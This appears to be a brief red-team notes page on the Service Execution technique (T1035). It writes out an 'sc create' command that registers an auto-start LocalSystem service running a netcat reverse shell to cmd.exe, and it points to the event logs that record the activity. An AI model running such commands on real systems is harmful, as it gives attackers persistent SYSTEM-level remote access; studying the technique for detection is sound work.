T1035: Service Execution

Last updated 4 months ago

Code Execution, Privilege Escalation


Creating an evil service with a netcat reverse shell:

C:\> sc create evilsvc binpath= "c:\tools\nc 443 -e cmd.exe" start= "auto" obj= "LocalSystem" password= ""
[SC] CreateService SUCCESS
C:\> sc start evilsvc


The reverse shell lives under services.exe as expected:

Windows security, application, Service Control Manager and sysmon logs provide some juicy details: